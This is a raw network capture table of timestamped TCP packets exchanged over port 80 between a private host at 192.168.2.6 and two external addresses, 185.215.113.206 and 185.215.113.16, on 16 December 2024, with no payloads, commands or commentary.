Dec 16, 2024 15:02:29.662936926 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:29.671253920 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:29.671336889 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:29.671350002 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:29.671386003 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:29.679750919 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:29.679785013 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:29.679837942 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:29.679837942 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:29.688452959 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:29.688541889 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:29.688607931 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:29.697042942 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:29.697092056 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:29.697138071 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:29.697177887 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:29.707061052 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:29.707075119 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:29.707148075 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:29.709455967 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:29.709506989 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:29.709578037 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:29.709614038 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:29.709763050 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.709830999 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.709944010 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.709986925 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.710331917 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.710416079 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.710464001 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.710500002 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.711230040 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.711291075 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.717349052 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:29.717432976 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:29.717458010 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:29.717487097 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:29.726201057 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:29.726296902 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:29.726345062 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:29.733458996 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:29.733474970 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:29.733515024 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:29.733561993 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:29.774420023 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:29.774471998 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:29.774490118 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:29.774518013 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:29.777587891 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:29.777632952 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:29.777684927 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:29.777734995 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:29.783852100 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:29.783904076 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:29.783984900 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:29.784040928 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:29.790220022 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:29.790278912 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:29.790476084 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:29.790517092 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:29.796591997 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:29.796646118 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:29.796683073 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:29.796773911 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:29.802659035 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:29.802710056 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:29.802759886 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:29.808933020 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:29.808981895 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:29.809029102 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:29.809072971 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:29.815310955 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:29.815362930 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:29.815396070 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:29.815434933 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:29.821902037 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:29.821974039 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:29.822010040 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:29.822161913 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:29.841372967 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:29.841444016 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:29.841491938 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:29.841532946 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:29.842978001 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:29.843043089 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:29.843610048 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:29.843656063 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:29.843698978 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:29.843739986 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:29.845818043 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:29.846005917 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:29.846029997 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:29.846054077 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:29.849148989 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:29.849195004 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:29.849275112 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:29.849394083 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:29.852639914 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:29.852686882 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:29.852869034 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:29.852914095 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:29.856023073 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:29.856086969 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:29.856182098 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:29.856405020 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:29.859265089 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:29.859332085 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:29.859551907 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:29.859863997 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:29.862694979 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:29.862740040 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:29.862943888 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:29.862987995 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:29.866089106 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:29.866148949 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:29.866194010 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:29.866267920 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:29.869421959 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:29.869467974 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:29.869523048 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:29.869565964 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:29.872792006 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:29.872853994 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:29.872889996 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:29.873085976 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:29.899027109 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:29.899080038 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:29.899087906 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:29.899415970 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:29.903697968 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:29.903774023 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:29.903805971 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:29.904097080 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:29.905623913 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:29.905670881 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:29.905724049 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:29.905759096 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:29.908792019 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:29.908854961 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:29.910054922 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:29.910104036 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:29.910134077 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:29.910181046 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:29.913480997 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:29.913748980 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:29.913800001 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:29.916728973 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:29.916882038 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:29.916939974 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:29.920114040 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:29.920171022 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:29.920231104 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:29.967201948 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:29.967272997 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:29.967344046 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:29.968581915 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:29.968627930 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:29.968697071 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:29.970360041 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:29.970415115 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:29.970474958 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:29.971362114 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:29.973362923 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:29.973417044 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:29.973450899 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:29.975368977 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:29.976435900 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:29.976494074 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:29.976530075 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:29.976963043 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:29.979582071 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:29.979593992 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:29.979629993 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:29.979648113 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:29.982326984 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:29.982351065 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:29.982369900 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:29.982394934 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:29.985105991 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:29.985191107 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:29.985224962 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:29.987366915 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:29.987936020 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:29.987948895 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:29.987987041 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:29.990497112 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:29.990612030 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:29.990669966 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:29.993067980 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:29.993338108 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:29.993387938 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:29.995667934 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:29.995810032 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:29.995862007 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:29.998121023 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:29.998228073 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:29.998280048 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.000534058 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.000633955 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.000684977 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.064346075 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.064387083 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.064495087 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.065378904 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.065509081 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.065568924 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.067063093 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.067118883 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.067696095 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.067745924 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.067783117 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.069638968 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.069675922 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.069741011 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.071449041 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.071500063 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.071551085 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.073362112 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.073482990 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.073534012 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.075236082 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.075308084 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.075403929 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.077124119 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.077183008 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.077299118 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.077378988 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.079009056 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.079123974 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.079128981 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.079174995 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.080864906 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.081006050 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.081048965 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.082771063 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.083045959 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.083093882 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.084820032 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.084985018 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.085033894 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.086739063 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.086754084 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.086786032 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.088521004 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.088556051 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.088593960 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.090620041 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.090656042 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.090686083 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.090720892 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.092217922 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.092324972 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.092371941 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.094162941 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.094247103 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.094306946 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.096077919 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.096113920 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.096133947 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.096153021 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.097908020 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.098046064 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.098097086 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.099734068 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.099841118 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.099899054 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.101716995 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.101927042 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.101984978 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.103607893 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.103677034 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.103708982 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.105283022 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.105447054 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.105490923 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.105551958 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.105591059 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.107285976 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.107388020 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.107449055 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.109312057 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.109561920 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.109632015 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.111042976 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.111104012 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.111114025 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.112304926 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.113007069 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.113053083 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.113056898 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.113096952 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.114825964 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.114881992 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.114969969 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.115014076 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.116697073 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.116813898 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.116867065 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.118607044 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.118726969 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.118779898 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.120493889 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.120528936 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.120549917 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.120579004 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.122394085 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.122494936 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.122559071 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.124399900 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.127362013 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.158505917 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.158561945 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.158638000 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.158703089 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.159301043 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.159351110 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.159449100 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.159486055 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.161190987 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.161320925 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.161336899 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.161375046 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.163075924 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.163134098 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.163218021 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.163260937 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.164989948 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.165091991 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.165132046 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.165172100 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.166855097 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.166928053 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.166961908 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.168055058 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.168739080 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.168806076 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.168843985 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.169264078 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.170624971 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.170692921 CET	80	49911	185.215.113.206	192.168.2.6
